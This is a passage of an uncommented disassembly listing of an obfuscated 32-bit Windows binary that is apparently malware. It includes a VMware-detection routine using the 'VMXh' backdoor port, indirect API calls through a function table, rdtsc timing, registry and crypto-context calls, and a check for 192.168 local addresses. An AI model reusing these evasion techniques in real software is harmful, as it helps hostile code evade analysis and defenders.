		and	ebx, 7FFFFFFFh
		call	sub_9AEE5C
		and	eax, 7FFFFFFFh
		cmp	eax, ebx
		jbe	loc_9AC8C0
		jmp	off_9BAF9F
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3070:				; CODE XREF: sub_9B1D80+47EBj
		jmp	loc_9B3ECB
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3078:				; CODE XREF: sub_9B0930+260j
					; DATA XREF: .text:off_9B927Co
		push	off_9B884C
		mov	eax, [eax+18h]
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+18h]
		pop	ecx
		mov	[ecx+4], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+18h]
		push	dword ptr [eax+4]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B08FC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B30B0:				; CODE XREF: sub_9AC6DC+6F1Bj
					; sub_9AC6DC:loc_9B4D80j
					; DATA XREF: ...
		mov	esi, eax
		mov	edi, ebx
		mov	dword_9BBD18, esi
		mov	dword_9BBD1C, edi
		jmp	loc_9ABAAA
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B30C8:				; CODE XREF: sub_9ADDA4+3Dj
		cmp	edi, 9
		ja	loc_9AED3C
		jmp	loc_9B1C08
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B30E0:				; CODE XREF: sub_9B4FD0-A05Cj
					; DATA XREF: .text:off_9BA031o
		lea	esi, [ebp-224h]
		mov	[ebp-230h], eax
		call	sub_9B3BE8
		push	eax
		mov	eax, [ebp-230h]
		call	dword ptr [eax+6Ch]
		mov	dword_9BBF9C[edi], eax
		test	eax, eax
		jz	sub_9ABB50
		jmp	loc_9B0D54
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B3110:				; CODE XREF: sub_9ADAC4-464j
					; DATA XREF: .text:off_9B9559o
		push	dword ptr [ebp+eax*4-84h]
		pop	ecx
		or	ecx, ecx
		jnz	loc_9AF9F4
		jmp	off_9B8DEF
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B3128:				; CODE XREF: sub_9B4950-757Bj
					; DATA XREF: .text:off_9B8EDEo
		mov	[ebp-20h], eax
		sub	eax, eax


loc_9B312D:				; CODE XREF: sub_9B4950-1621j
		mov	[ebp-1Ch], eax
		cmp	eax, 20h
		jge	loc_9B2944
		jmp	loc_9AFF4C
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B3140:				; CODE XREF: sub_9B649C-7A8Dj
		lea	ecx, [eax+3]
		cmp	ecx, edi
		ja	loc_9ACCD8
		jmp	loc_9AC234
; END OF FUNCTION CHUNK	FOR sub_9B649C

; =============== S U B	R O U T	I N E =======================================



sub_9B3150	proc near		; CODE XREF: sub_9B3408-628Bp
					; sub_9AF25C+46p ...

; FUNCTION CHUNK AT 009AADE4 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009AB848 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AC39C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AEB78 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AEFA3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B0094 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 009B0C88 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 009B5F24 SIZE 00000019 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA10B
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	ecx
		pop	ebx
		xor	eax, eax
		mov	[ebp-1Ch], eax
		mov	[ebp-4], eax
		cmp	ebx, eax
		jz	loc_9AEFA3
		jmp	loc_9AB848
sub_9B3150	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B3194:				; CODE XREF: sub_9B649C-7EA4j
		add	eax, 4
		mov	[ebp+var_1C], eax


loc_9B319A:				; CODE XREF: sub_9B649C-7EAAj
		cmp	eax, edi
		jbe	loc_9ACCDD
		jmp	loc_9ACCD8
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B31A8	proc near		; CODE XREF: sub_9ADAC4-2B26p
					; sub_9B4950-8E39p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AE0B8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B084C SIZE 0000003B BYTES
; FUNCTION CHUNK AT 009B12E0 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B1CBF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B4308 SIZE 00000010 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8DD8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], edi
		mov	[ebp+var_4], edi
		push	ecx
		pop	esi
		cmp	esi, edi
		jz	loc_9B1CBF
		jmp	loc_9B4308
sub_9B31A8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB11C


loc_9B31EC:				; CODE XREF: sub_9AB11C+37j
		call	dword ptr [eax+1Ch]
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AB11C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B31F4:				; CODE XREF: sub_9B0930-1234j
					; DATA XREF: .text:off_9B8824o
		push	off_9BAB68
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		mov	[edx+44h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+44h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BADF8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9B3228:				; CODE XREF: sub_9AEDD0-33DFj
					; sub_9AEDD0+20j ...
		add	eax, 28h
		cmp	eax, 500h
		jb	loc_9AEDE8
		jmp	loc_9B2998
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9B323C:				; CODE XREF: sub_9B1B20-D5Fj
					; DATA XREF: .text:off_9B96D4o
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		push	edi
		push	esi
		push	3
		push	0
		lea	edx, [ebp+var_120]
		push	edx
		mov	eax, [ebp+var_32C]
		push	eax
		call	dword ptr [ecx+18h]
		test	eax, eax
		jnz	loc_9AC1AA
		jmp	loc_9AC1A0
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B326C:				; CODE XREF: sub_9ADAC4-2BDBj
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9ADCDF
		jmp	off_9B8CB5
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B327C	proc near		; CODE XREF: sub_9B5904-93C2p
					; sub_9B1D80-4B6Fp ...

; FUNCTION CHUNK AT 009AB10C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ABA24 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 009B2CE4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B4264 SIZE 00000006 BYTES

		mov	ecx, eax
		and	ecx, 0FFFFh
		cmp	ecx, 0A8C0h
		jz	loc_9B4264
		jmp	off_9BAAA5
sub_9B327C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B3298:				; CODE XREF: sub_9B649C-A0D2j
		push	10h
		pop	eax
		mov	[ebp+var_1C], eax


loc_9B329E:				; CODE XREF: sub_9B649C-A0D8j
		test	bl, 10h
		jz	loc_9B1842
		jmp	off_9BAA09
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B32B0:				; CODE XREF: sub_9B4480-1BBDj
					; DATA XREF: .text:off_9BAAC8o
		cmp	[ebp+var_32C], ebx
		jnz	loc_9B46EF
		jmp	loc_9B46E4
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B32C4:				; CODE XREF: sub_9B4950-12D8j
					; DATA XREF: .text:off_9B9485o
		lea	ebx, dword_9BEC3C[edi]
		push	ebx
		pop	ecx
		call	sub_9B31A8
		lea	ecx, dword_9BEC40[edi]
		mov	[ebp-24h], ecx
		call	sub_9B31A8
		mov	eax, dword_9BEC2C[edi]
		push	dword ptr [ebp-20h]
		pop	ecx
		push	ecx
		lea	esi, [ebp-4Ch]
		call	sub_9AC250
		push	dword ptr [ebp-44h]
		pop	edx
		push	edx
		push	dword_9BEC2C[edi]
		pop	eax
		push	eax
		push	off_9B9F6A
		call	sub_9ABF08
		mov	[ebx], eax
		mov	eax, [ebp-40h]
		push	eax
		push	dword_9BEC2C[edi]
		pop	ecx
		push	ecx
		push	off_9BB054
		call	sub_9ABF08
		push	dword ptr [ebp-24h]
		pop	edx
		xor	ebx, ebx
		mov	[edx], eax
		mov	eax, [ebp-1Ch]


loc_9B332E:				; CODE XREF: sub_9B4950-49F8j
					; sub_9B4950-12DEj ...
		inc	eax
		jmp	loc_9B312D
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B3334:				; CODE XREF: sub_9ADAC4-1C8Cj
		push	0
		push	edi
		push	off_9B9099
		call	sub_9ABF08
		mov	[ebp+esi*4-84h], eax
		test	eax, eax
		jnz	loc_9AE6B5
		jmp	loc_9AE6A8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9B335B:				; CODE XREF: sub_9B5480-9C16j
					; sub_9B5480-49CBj ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B3374:				; CODE XREF: sub_9B3864-37D8j
		movzx	ebx, [ebp+var_2022]
		sub	ecx, ecx
		mov	cl, [ebp+var_2024]
		and	ecx, 1
		push	ecx
		push	[ebp+var_2020]
		pop	ecx
		push	ecx
		mov	edx, [ebp+var_2028]
		push	edx
		push	eax
		mov	ecx, ebx
		call	sub_9AF030
		or	eax, eax
		jz	loc_9AF480
		jmp	loc_9B6488
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B33AC:				; CODE XREF: sub_9ACEE8+8AB1j
		call	sub_9B227C
		mov	[ebp-0BCh], eax
		call	sub_9B227C
		sub	edi, eax
		mov	[ebp-0C4h], edi
		jnz	loc_9B0F7F
		jmp	loc_9B0F74
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9B33D0:				; CODE XREF: sub_9AD11C+3A31j
		push	1
		pop	edi
		jmp	loc_9AFA58
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B33DB:				; CODE XREF: sub_9AF25C-3983j
					; sub_9AF25C-2D3Dj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3408	proc near		; CODE XREF: sub_9AEC20+81p
					; sub_9AEC20+4412p

; FUNCTION CHUNK AT 009AB1EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AB734 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009ABD60 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 009ACE18 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AD158 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009ADFBC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AE614 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 009AF0B8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B07FC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B292C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B3754 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B62E4 SIZE 00000033 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B992A
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 128h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	edx
		pop	ebx
		sub	esi, esi
		mov	[ebp-18h], esp
		mov	eax, [ebp+8]
		mov	[ebp-138h], eax
		mov	[ebp-124h], esi
		mov	[ebp-12Ch], esi
		mov	[ebp-134h], esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	off_9BADC8
		call	dword ptr [edx+18h]
		mov	[ebp-4], esi
		mov	eax, dword_9BCB74
		mov	ecx, [eax+0Ch]
		lea	edx, [ebp-124h]
		push	edx
		push	20019h
		push	esi
		push	ebx
		push	edi
		call	dword ptr [ecx+20h]
		and	eax, eax
		jz	loc_9AE614
		jmp	loc_9AB1EC
sub_9B3408	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B19D8


loc_9B349C:				; CODE XREF: sub_9B19D8+31CAj
		inc	dword ptr [ebp-404Ch]
		mov	ebx, [ebp-4050h]
		jmp	loc_9ADC2E
; END OF FUNCTION CHUNK	FOR sub_9B19D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B34B0:				; CODE XREF: sub_9ACEE8+5DBCj
					; DATA XREF: .text:off_9B9F82o
		push	1
		pop	ebx
		mov	[ebp-0B4h], ebx


loc_9B34B9:				; CODE XREF: sub_9ACEE8+544Cj
					; sub_9ACEE8+78EAj
		test	ebx, ebx
		jz	loc_9ACF55
		jmp	loc_9AC65C
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9B34C8:				; CODE XREF: sub_9B57B4+48j
					; DATA XREF: .text:off_9BAEFDo
		push	off_9B8ED2
		call	dword ptr [ecx+68h]
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		lea	ecx, [ebp+var_44]
		push	ecx
		call	dword ptr [eax+64h]
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		call	dword ptr [eax+30h]
		mov	[ebp+var_34], eax
		rdtsc
		mov	[ebp+var_148], edx
		mov	[ebp+var_14C], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], edx
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+0Ch]
		push	0F0000000h
		push	1
		jmp	off_9BA707
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B351C:				; CODE XREF: sub_9B1A08-567Aj
					; sub_9B1A08-43E1j
		xor	eax, eax


loc_9B351E:				; CODE XREF: sub_9B1A08-3E75j
		push	eax
		push	0
		push	0
		push	0
		push	0
		call	sub_9B36E8
		push	eax
		lea	edx, [ebp+var_402C]
		push	edx
		push	11h
		push	esi
		push	1
		lea	eax, [ebp+var_41F8]
		push	eax
		lea	ecx, [ebp+var_201C]
		push	ecx
		call	sub_9B2F1C
		add	esp, 30h
		push	[ebp+var_41F8]
		jmp	loc_9B3778
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9B355C:				; CODE XREF: sub_9ABF08+47j
					; DATA XREF: .text:off_9B926Co
		sub	eax, eax
		push	esi
		pop	ecx
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	[ecx+10h], eax
		mov	edx, [ebp+0Ch]
		mov	[esi+0Ch], edx
		push	dword ptr [ebp+10h]
		pop	eax
		mov	[esi+10h], eax
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	edi
		push	edi
		push	edi
		push	edi
		call	dword ptr [edx+20h]
		mov	[esi+8], eax
		cmp	eax, edi
		jz	loc_9AF20F
		jmp	off_9B8CD6
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B35A0	proc near		; CODE XREF: sub_9ABB50+2p
					; sub_9AF030-2A01p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AC99B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B014C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B09E8 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009B10DC SIZE 00000028 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA8AD
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		jmp	loc_9B09E8
sub_9B35A0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9B35CC:				; CODE XREF: sub_9B4610-610Ej
					; DATA XREF: .text:off_9B911Do
		call	sub_9B227C
		sub	eax, dword_9BBF98[esi]
		cmp	eax, 3Ch
		jbe	loc_9AF22F
		jmp	off_9B9864
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B35E8:				; CODE XREF: sub_9AC6DC+86AAj
		push	dword_9BBD18
		pop	esi
		cmp	eax, esi
		jbe	loc_9ABAAA
		jmp	off_9BA1A9
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B3600:				; CODE XREF: sub_9AF030+60j
					; DATA XREF: .text:off_9B91B2o
		push	[ebp+arg_4]
		pop	eax
		cmp	eax, dword_9BBFA0[esi]
		jnz	loc_9AC634
		jmp	loc_9B5738
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3618	proc near		; CODE XREF: sub_9B03E8+2790p

var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009ADF7B SIZE 0000001D BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAB8C
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		sub	eax, eax
		mov	[ebp+var_18], esp
		mov	[ebp+var_19], al
		mov	[ebp+var_4], eax
		push	564D5868h
		pop	eax
		mov	ecx, 0Ah
		mov	dx, 5658h
		in	eax, dx
		cmp	ebx, 564D5868h
		setz	[ebp+var_19]
		jmp	loc_9ADF7B
sub_9B3618	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B366C:				; CODE XREF: sub_9B4950+78Cj
		cmp	dword_9BEC24[edi], ebx
		jz	loc_9B332E
		jmp	off_9B9485
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B3680:				; CODE XREF: sub_9AC250+D4j
		push	dword ptr [esi+4]
		pop	ebx
		push	ebx
		pop	edx
		shr	edx, 5
		push	edx
		pop	ecx
		and	ecx, 1Fh
		push	1
		pop	ebp
		shl	ebp, cl
		shr	edx, 5
		test	dword_9BA4E8[edx*4], ebp
		jnz	loc_9AC264
		jmp	off_9BA7CD
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B36AC:				; CODE XREF: sub_9B4950-8893j
					; DATA XREF: .text:off_9B9E4Do
		xor	esi, esi


loc_9B36AE:				; CODE XREF: sub_9B4950+12DFj
		mov	[ebp-1Ch], esi
		cmp	esi, 20h
		jge	loc_9AD3C4
		jmp	loc_9B2778
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9B36C0:				; CODE XREF: sub_9AD11C+8472j
		push	4
		pop	edi
		jmp	loc_9AFA58
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B36C8:				; CODE XREF: sub_9B3864-5E69j
		sub	edx, edx


loc_9B36CA:				; CODE XREF: sub_9B3864+251Cj
		push	eax
		push	ecx
		push	edi
		push	[ebp+var_2060]
		pop	eax
		movzx	ecx, word ptr [eax+2]
		push	ecx
		mov	eax, [eax+4]
		push	eax
		push	edx
		push	dword ptr [esi+4]
		jmp	loc_9B0068
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B36E8	proc near		; CODE XREF: StartAddress+158p
					; sub_9AF25C:loc_9ABBC0p ...

; FUNCTION CHUNK AT 009AC484 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AC73E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009ACC48 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009ACE64 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ADF98 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AE96C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B532C SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BB021
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		mov	[ebp-1Ch], edi
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	[ebp-4], edi
		sub	edx, edx
		push	dword_9BBE3C
		pop	ecx
		call	sub_9AEE5C
		push	eax
		pop	esi
		mov	[ebp-1Ch], esi
		cmp	esi, edi
		jnz	loc_9AC48D
		jmp	off_9B8CC1
sub_9B36E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9B374C:				; CODE XREF: sub_9B3EFC-6825j
					; DATA XREF: .text:off_9B9449o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9B3754:				; CODE XREF: sub_9B3408-7CB0j
					; DATA XREF: .text:off_9B9713o
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+0Ch]
		push	eax
		call	dword ptr [edx+14h]


loc_9B3761:				; CODE XREF: sub_9B3408-7CB6j
		push	dword ptr [ebp-134h]
		pop	eax
		test	eax, eax
		jnz	loc_9ADFCE
		jmp	off_9BA690
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B3778:				; CODE XREF: sub_9B1A08+1B4Dj
		pop	eax
		test	eax, eax
		jz	loc_9B16BE
		jmp	off_9B9280
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B3788:				; CODE XREF: sub_9B63D8-1421j
		sub	eax, edx
		mov	[ebp-2150h], eax
		push	0Ah
		push	400h
		mov	edi, esi
		lea	ecx, [ebp-2120h]
		call	sub_9B5300
		cmp	eax, 4
		jnz	loc_9AF944
		jmp	loc_9AF368
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B37B4:				; CODE XREF: sub_9B0930-582Cj
		push	off_9B8E65
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+64h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax]
		push	dword ptr [eax+64h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA1C8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B37E8:				; CODE XREF: sub_9AF030+37F8j
		mov	[ebp+var_20], 1
		mov	ecx, [ebp+arg_0]
		call	sub_9B35A0
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_9AE8BD
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B3804:				; CODE XREF: sub_9B2830+1AF8j
					; DATA XREF: .text:off_9B92BCo
		or	eax, 8000h
		mov	[edi], ax
		push	8
		push	ebx
		call	sub_9AB11C
		push	ebx
		pop	ecx
		mov	edx, esi
		call	sub_9ABADC
		mov	[ebx+esi], eax
		add	esi, 4
		mov	[ebp-1Ch], esi
		push	dword ptr [ebx+4]
		pop	eax
		push	eax
		mov	ecx, [ebx]
		push	ecx
		lea	eax, [esi-8]
		push	edi
		call	sub_9B6370
		push	2000h
		pop	edi
		sub	edi, esi
		mov	[ebp-24h], edi
		and	edi, 1FFh
		mov	[ebp-24h], edi
		mov	dword ptr [ebp-20h], 0


loc_9B3852:				; CODE XREF: sub_9B2830-692Ej
		cmp	dword ptr [ebp-20h], 4
		jge	loc_9B4B4C
		jmp	loc_9ABEF0
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3864	proc near		; CODE XREF: sub_9B037C-4364p
					; sub_9B3984-5EDCp

var_2074	= dword	ptr -2074h
var_2070	= dword	ptr -2070h
var_206C	= dword	ptr -206Ch
var_2068	= dword	ptr -2068h
var_2064	= dword	ptr -2064h
var_2060	= dword	ptr -2060h
var_205C	= dword	ptr -205Ch
var_2058	= dword	ptr -2058h
var_2054	= dword	ptr -2054h
var_2050	= dword	ptr -2050h
var_204C	= dword	ptr -204Ch
var_2048	= dword	ptr -2048h
var_2044	= dword	ptr -2044h
var_203D	= byte ptr -203Dh
var_203C	= byte ptr -203Ch
var_202C	= dword	ptr -202Ch
